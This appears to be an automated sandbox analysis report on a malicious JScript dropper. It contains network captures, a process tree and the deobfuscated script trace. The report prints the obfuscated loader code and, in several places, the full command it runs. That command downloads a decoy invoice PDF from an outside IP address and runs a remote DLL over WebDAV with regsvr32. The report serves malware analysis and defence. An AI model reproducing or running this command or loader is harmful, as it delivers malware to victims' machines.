>>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:19:24.126949072 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:19:24.126996040 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:19:24.127064943 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:19:24.127079964 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:19:24.127227068 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 11, 2025 02:19:24.127248049 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:19:24.127269983 CET	224	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}n
Jan 11, 2025 02:19:24.127280951 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 02:19:24.127296925 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 02:19:24.131788015 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	193.143.1.205	8888	7668	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:19:25.956027031 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:19:26.737373114 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:19:26 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	20:19:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2752019937704124971.js"
Imagebase:	0x7ff73a400000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	20:19:19
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll
Imagebase:	0x7ff6eb060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:19:19
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:19:19
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6eb060000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	20:19:24
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff78ef40000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:19:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:19:25
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:19:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1756,i,17359756151058756556,4854113092615929534,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function bqnyz() {	bqnyz() ➔ undefined
1	avwdtze = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var empdgxy = this[cxheq + mnvebhaew + taderv + jzfclrlnn + heqdmwk + cxoxos + xarkigbsu + qpupun] ( this[weuzjsxcl + uzukw + xyotj + taderv + fxyvm + cxheq + qpupun][otuyqo + taderv + heqdmwk + mnvebhaew + qpupun + heqdmwk + iisqwrox + vrmjhi + rnojqfu + heqdmwk + xyotj + qpupun] ( weuzjsxcl + uzukw + xyotj + taderv + fxyvm + cxheq + qpupun + qwxuju + uzukw + lwysgyr + heqdmwk + loqrnixg + loqrnixg ) [xianpausw + heqdmwk + uienrjuly + xianpausw + heqdmwk + mnvebhaew + zrokn] ( ugqsaabyh + dytmcemuj + asmcsc + gtlcco + metvlnyxt + otuyqo + xoial + xianpausw + xianpausw + asmcsc + svxulwyds + fqmfmcng + metvlnyxt + xoial + uzukw + asmcsc + xianpausw + pizxyjn + otuyqo + chpxfzloj + xarkigbsu + qpupun + taderv + chpxfzloj + loqrnixg + kqfhiynzw + tzoqaquw + mnvebhaew + xarkigbsu + heqdmwk + loqrnixg + pizxyjn + cxoxos + xarkigbsu + qpupun + heqdmwk + taderv + xarkigbsu + mnvebhaew + qpupun + fxyvm + chpxfzloj + xarkigbsu + mnvebhaew + loqrnixg + pizxyjn + aiubopq + chpxfzloj + xyotj + mnvebhaew + loqrnixg + heqdmwk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( tujxiioyj = 0 ; tujxiioyj < avwdtze[loqrnixg + heqdmwk + xarkigbsu + uienrjuly + qpupun + lwysgyr] ; ++ tujxiioyj )
4	{
5	if ( empdgxy == avwdtze[tujxiioyj] )
6	{
7	empdgxy = true;
8	break ;
9	}
10	}
11	if ( empdgxy !== true )
12	this[weuzjsxcl + uzukw + xyotj + taderv + fxyvm + cxheq + qpupun][nbkmbngi + ebwdfanfq + fxyvm + qpupun] ( );
13	this[weuzjsxcl + uzukw + xyotj + taderv + fxyvm + cxheq + qpupun][otuyqo + taderv + heqdmwk + mnvebhaew + qpupun + heqdmwk + iisqwrox + vrmjhi + rnojqfu + heqdmwk + xyotj + qpupun] ( weuzjsxcl + uzukw + xyotj + taderv + fxyvm + cxheq + qpupun + qwxuju + uzukw + lwysgyr + heqdmwk + loqrnixg + loqrnixg ) [taderv + ebwdfanfq + xarkigbsu] ( xyotj + pmbkugywn + zrokn + kqfhiynzw + mqiohx + xyotj + kqfhiynzw + cxheq + chpxfzloj + qhyku + heqdmwk + taderv + jzfclrlnn + lwysgyr + heqdmwk + loqrnixg + loqrnixg + qwxuju + heqdmwk + dcxzj + heqdmwk + kqfhiynzw + hxrtldvu + otuyqo + chpxfzloj + pmbkugywn + pmbkugywn + mnvebhaew + xarkigbsu + zrokn + kqfhiynzw + rpcqogif + cxoxos + xarkigbsu + mweyjrb + chpxfzloj + ibqpkqlub + heqdmwk + hxrtldvu + weuzjsxcl + heqdmwk + vrmjhi + xianpausw + heqdmwk + vcagmbvs + ebwdfanfq + heqdmwk + jzfclrlnn + qpupun + kqfhiynzw + hxrtldvu + iisqwrox + ebwdfanfq + qpupun + fhkoor + fxyvm + loqrnixg + heqdmwk + kqfhiynzw + fpatrsi + qpupun + heqdmwk + pmbkugywn + cxheq + fpatrsi + pizxyjn + fxyvm + xarkigbsu + mweyjrb + chpxfzloj + fxyvm + xyotj + heqdmwk + qwxuju + cxheq + zrokn + iywjy + kqfhiynzw + lwysgyr + qpupun + qpupun + cxheq + pkapzjinr + mqiohx + mqiohx + pkkdmqs + yupcerxd + ojeiywkg + qwxuju + pkkdmqs + rijswdnf + ojeiywkg + qwxuju + pkkdmqs + qwxuju + jhwygyrfu + owutkgvpr + spbcdcdvj + mqiohx + fxyvm + xarkigbsu + mweyjrb + chpxfzloj + fxyvm + xyotj + heqdmwk + qwxuju + cxheq + lwysgyr + cxheq + rpcqogif + jluuorgrz + jluuorgrz + jzfclrlnn + qpupun + mnvebhaew + taderv + qpupun + kqfhiynzw + fpatrsi + qpupun + heqdmwk + pmbkugywn + cxheq + fpatrsi + pizxyjn + fxyvm + xarkigbsu + mweyjrb + chpxfzloj + fxyvm + xyotj + heqdmwk + qwxuju + cxheq + zrokn + iywjy + jluuorgrz + jluuorgrz + xyotj + pmbkugywn + zrokn + kqfhiynzw + mqiohx + xyotj + kqfhiynzw + xarkigbsu + heqdmwk + qpupun + kqfhiynzw + ebwdfanfq + jzfclrlnn + heqdmwk + kqfhiynzw + pizxyjn + pizxyjn + pkkdmqs + yupcerxd + ojeiywkg + qwxuju + pkkdmqs + rijswdnf + ojeiywkg + qwxuju + pkkdmqs + qwxuju + jhwygyrfu + owutkgvpr + spbcdcdvj + hrwvvvmt + iqqnfcr + iqqnfcr + iqqnfcr + iqqnfcr + pizxyjn + zrokn + mnvebhaew + mweyjrb + qhyku + qhyku + qhyku + taderv + chpxfzloj + chpxfzloj + qpupun + pizxyjn + jluuorgrz + jluuorgrz + xyotj + pmbkugywn + zrokn + kqfhiynzw + mqiohx + xyotj + kqfhiynzw + taderv + heqdmwk + uienrjuly + jzfclrlnn + mweyjrb + taderv + ojeiywkg + jhwygyrfu + kqfhiynzw + mqiohx + jzfclrlnn + kqfhiynzw + pizxyjn + pizxyjn + pkkdmqs + yupcerxd + ojeiywkg + qwxuju + pkkdmqs + rijswdnf + ojeiywkg + qwxuju + pkkdmqs + qwxuju + jhwygyrfu + owutkgvpr + spbcdcdvj + hrwvvvmt + iqqnfcr + iqqnfcr + iqqnfcr + iqqnfcr + pizxyjn + zrokn + mnvebhaew + mweyjrb + qhyku + qhyku + qhyku + taderv + chpxfzloj + chpxfzloj + qpupun + pizxyjn + pkkdmqs + iqqnfcr + spbcdcdvj + iqqnfcr + ojeiywkg + pkkdmqs + koqbyjp + iqqnfcr + iqqnfcr + rijswdnf + jhwygyrfu + sdrmzd + iqqnfcr + yupcerxd + rijswdnf + qwxuju + zrokn + loqrnixg + loqrnixg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\185831788426894.dll",0,false) ➔ 0
14	}
15	svxulwyds = "s";
16	svxulwyds = "k";
17	svxulwyds = "I";
18	svxulwyds = "q";
19	svxulwyds = "u";
20	svxulwyds = "Q";
21	svxulwyds = "g";
22	svxulwyds = "W";
23	svxulwyds = "I";
24	svxulwyds = "t";
25	svxulwyds = "d";
26	svxulwyds = "b";
27	svxulwyds = "j";
28	svxulwyds = "R";
29	svxulwyds = "t";
30	svxulwyds = "f";
31	svxulwyds = "K";
32	svxulwyds = "e";
33	svxulwyds = "r";
34	svxulwyds = "I";
35	svxulwyds = "U";
36	svxulwyds = "C";
37	svxulwyds = "J";
38	svxulwyds = "K";
39	svxulwyds = "N";
40	koqbyjp = "Q";
41	koqbyjp = "j";
42	koqbyjp = "U";
43	koqbyjp = "I";
44	koqbyjp = "Y";
45	koqbyjp = "R";
46	koqbyjp = "O";
47	koqbyjp = "F";
48	koqbyjp = "M";
49	koqbyjp = "d";
50	koqbyjp = "X";
51	koqbyjp = "Q";
52	koqbyjp = "U";
53	koqbyjp = "o";
54	koqbyjp = "n";
55	koqbyjp = "p";
56	koqbyjp = "c";
57	koqbyjp = "b";
58	koqbyjp = "E";
59	koqbyjp = "g";
60	koqbyjp = "i";
61	koqbyjp = "J";
62	koqbyjp = "g";
63	koqbyjp = "J";
64	koqbyjp = "f";
65	koqbyjp = "7";
66	fhkoor = "o";
67	fhkoor = "N";
68	fhkoor = "v";
69	fhkoor = "f";
70	fhkoor = "k";
71	fhkoor = "g";
72	fhkoor = "M";
73	fhkoor = "s";
74	fhkoor = "g";
75	fhkoor = "a";
76	fhkoor = "j";
77	fhkoor = "G";
78	fhkoor = "B";
79	fhkoor = "n";
80	fhkoor = "P";
81	fhkoor = "r";
82	fhkoor = "a";
83	fhkoor = "q";
84	fhkoor = "z";
85	fhkoor = "X";
86	fhkoor = "v";
87	fhkoor = "o";
88	fhkoor = "f";
89	fhkoor = "i";
90	fhkoor = "R";
91	fhkoor = "p";
92	fhkoor = "L";
93	fhkoor = "q";
94	fhkoor = "F";
95	asmcsc = "C";
96	asmcsc = "b";
97	asmcsc = "q";
98	asmcsc = "E";
99	xarkigbsu = "G";
100	xarkigbsu = "N";
101	xarkigbsu = "I";
102	xarkigbsu = "Y";
103	xarkigbsu = "t";
104	xarkigbsu = "N";
105	xarkigbsu = "o";
106	xarkigbsu = "E";
107	xarkigbsu = "c";
108	xarkigbsu = "g";
109	xarkigbsu = "x";
110	xarkigbsu = "y";
111	xarkigbsu = "q";
112	xarkigbsu = "n";
113	xarkigbsu = "E";
114	xarkigbsu = "U";
115	xarkigbsu = "y";
116	xarkigbsu = "S";
117	xarkigbsu = "E";
118	xarkigbsu = "T";
119	xarkigbsu = "I";
120	xarkigbsu = "o";
121	xarkigbsu = "l";
122	xarkigbsu = "s";
123	xarkigbsu = "Y";
124	xarkigbsu = "L";
125	xarkigbsu = "x";
126	xarkigbsu = "A";
127	xarkigbsu = "J";
128	xarkigbsu = "Y";
129	xarkigbsu = "I";
130	xarkigbsu = "g";
131	xarkigbsu = "P";
132	xarkigbsu = "O";
133	xarkigbsu = "n";
134	pmbkugywn = "C";
135	pmbkugywn = "w";
136	pmbkugywn = "l";
137	pmbkugywn = "e";
138	pmbkugywn = "g";
139	pmbkugywn = "V";
140	pmbkugywn = "M";
141	pmbkugywn = "A";
142	pmbkugywn = "W";
143	pmbkugywn = "m";
144	chpxfzloj = "E";
145	chpxfzloj = "W";
146	chpxfzloj = "P";
147	chpxfzloj = "i";
148	chpxfzloj = "M";
149	chpxfzloj = "K";
150	chpxfzloj = "G";
151	chpxfzloj = "j";
152	chpxfzloj = "V";
153	chpxfzloj = "W";
154	chpxfzloj = "X";
155	chpxfzloj = "P";
156	chpxfzloj = "S";
157	chpxfzloj = "F";
158	chpxfzloj = "u";
159	chpxfzloj = "A";
160	chpxfzloj = "G";
161	chpxfzloj = "s";
162	chpxfzloj = "t";
163	chpxfzloj = "o";
164	jhwygyrfu = "p";
165	jhwygyrfu = "A";
166	jhwygyrfu = "X";
167	jhwygyrfu = "a";
168	jhwygyrfu = "2";
169	heqdmwk = "e";
170	jzfclrlnn = "g";
171	jzfclrlnn = "C";
172	jzfclrlnn = "g";
173	jzfclrlnn = "t";
174	jzfclrlnn = "t";
175	jzfclrlnn = "r";
176	jzfclrlnn = "y";
177	jzfclrlnn = "G";
178	jzfclrlnn = "q";
179	jzfclrlnn = "h";
180	jzfclrlnn = "r";
181	jzfclrlnn = "X";
182	jzfclrlnn = "B";
183	jzfclrlnn = "T";
184	jzfclrlnn = "N";
185	jzfclrlnn = "r";
186	jzfclrlnn = "x";
187	jzfclrlnn = "F";
188	jzfclrlnn = "E";
189	jzfclrlnn = "I";
190	jzfclrlnn = "p";
191	jzfclrlnn = "V";
192	jzfclrlnn = "M";
193	jzfclrlnn = "R";
194	jzfclrlnn = "n";
195	jzfclrlnn = "X";
196	jzfclrlnn = "B";
197	jzfclrlnn = "b";
198	jzfclrlnn = "m";
199	jzfclrlnn = "h";
200	jzfclrlnn = "b";
201	jzfclrlnn = "o";
202	jzfclrlnn = "y";
203	jzfclrlnn = "R";
204	jzfclrlnn = "M";
205	jzfclrlnn = "s";
206	fxyvm = "G";
207	fxyvm = "L";
208	fxyvm = "D";
209	fxyvm = "i";
210	pkapzjinr = "s";
211	pkapzjinr = "W";
212	pkapzjinr = "e";
213	pkapzjinr = "C";
214	pkapzjinr = "x";
215	pkapzjinr = "b";
216	pkapzjinr = "A";
217	pkapzjinr = "I";
218	pkapzjinr = "V";
219	pkapzjinr = "u";
220	pkapzjinr = "N";
221	pkapzjinr = "Q";
222	pkapzjinr = "j";
223	pkapzjinr = "X";
224	pkapzjinr = "s";
225	pkapzjinr = "b";
226	pkapzjinr = "U";
227	pkapzjinr = "E";
228	pkapzjinr = "H";
229	pkapzjinr = "V";
230	pkapzjinr = "l";
231	pkapzjinr = "c";
232	pkapzjinr = "o";
233	pkapzjinr = "s";
234	pkapzjinr = "r";
235	pkapzjinr = "P";
236	pkapzjinr = "t";
237	pkapzjinr = "b";
238	pkapzjinr = "V";
239	pkapzjinr = ":";
240	hrwvvvmt = "V";
241	hrwvvvmt = "O";
242	hrwvvvmt = "t";
243	hrwvvvmt = "R";
244	hrwvvvmt = "g";
245	hrwvvvmt = "A";
246	hrwvvvmt = "M";
247	hrwvvvmt = "k";
248	hrwvvvmt = "N";
249	hrwvvvmt = "D";
250	hrwvvvmt = "q";
251	hrwvvvmt = "O";
252	hrwvvvmt = "H";
253	hrwvvvmt = "e";
254	hrwvvvmt = "G";
255	hrwvvvmt = "j";
256	hrwvvvmt = "F";
257	hrwvvvmt = "x";
258	hrwvvvmt = "v";
259	hrwvvvmt = "x";
260	hrwvvvmt = "a";
261	hrwvvvmt = "c";
262	hrwvvvmt = "@";
263	gtlcco = "O";
264	gtlcco = "d";
265	gtlcco = "j";
266	gtlcco = "Z";
267	gtlcco = "b";
268	gtlcco = "Y";
269	gtlcco = "M";
270	gtlcco = "Y";
271	uienrjuly = "L";
272	uienrjuly = "v";
273	uienrjuly = "m";
274	uienrjuly = "u";
275	uienrjuly = "f";
276	uienrjuly = "z";
277	uienrjuly = "T";
278	uienrjuly = "s";
279	uienrjuly = "f";
280	uienrjuly = "v";
281	uienrjuly = "F";
282	uienrjuly = "t";
283	uienrjuly = "Y";
284	uienrjuly = "a";
285	uienrjuly = "E";
286	uienrjuly = "J";
287	uienrjuly = "S";
288	uienrjuly = "p";
289	uienrjuly = "M";
290	uienrjuly = "B";
291	uienrjuly = "g";
292	owutkgvpr = "o";
293	owutkgvpr = "k";
294	owutkgvpr = "w";
295	owutkgvpr = "M";
296	owutkgvpr = "i";
297	owutkgvpr = "Q";
298	owutkgvpr = "U";
299	owutkgvpr = "N";
300	owutkgvpr = "l";
301	owutkgvpr = "S";
302	owutkgvpr = "q";
303	owutkgvpr = "i";
304	owutkgvpr = "l";
305	owutkgvpr = "L";
306	owutkgvpr = "K";
307	owutkgvpr = "Q";
308	owutkgvpr = "z";
309	owutkgvpr = "h";
310	owutkgvpr = "Y";
311	owutkgvpr = "q";
312	owutkgvpr = "0";
313	metvlnyxt = "w";
314	metvlnyxt = "I";
315	metvlnyxt = "A";
316	metvlnyxt = "Q";
317	metvlnyxt = "a";
318	metvlnyxt = "e";
319	metvlnyxt = "Y";
320	metvlnyxt = "F";
321	metvlnyxt = "r";
322	metvlnyxt = "a";
323	metvlnyxt = "Q";
324	metvlnyxt = "_";
325	otuyqo = "F";
326	otuyqo = "n";
327	otuyqo = "a";
328	otuyqo = "R";
329	otuyqo = "h";
330	otuyqo = "G";
331	otuyqo = "X";
332	otuyqo = "z";
333	otuyqo = "v";
334	otuyqo = "q";
335	otuyqo = "A";
336	otuyqo = "g";
337	otuyqo = "I";
338	otuyqo = "b";
339	otuyqo = "x";
340	otuyqo = "A";
341	otuyqo = "p";
342	otuyqo = "y";
343	otuyqo = "R";
344	otuyqo = "u";
345	otuyqo = "L";
346	otuyqo = "d";
347	otuyqo = "Z";
348	otuyqo = "f";
349	otuyqo = "c";
350	otuyqo = "f";
351	otuyqo = "j";
352	otuyqo = "x";
353	otuyqo = "U";
354	otuyqo = "K";
355	otuyqo = "h";
356	otuyqo = "W";
357	otuyqo = "n";
358	otuyqo = "m";
359	otuyqo = "C";
360	xianpausw = "S";
361	xianpausw = "b";
362	xianpausw = "x";
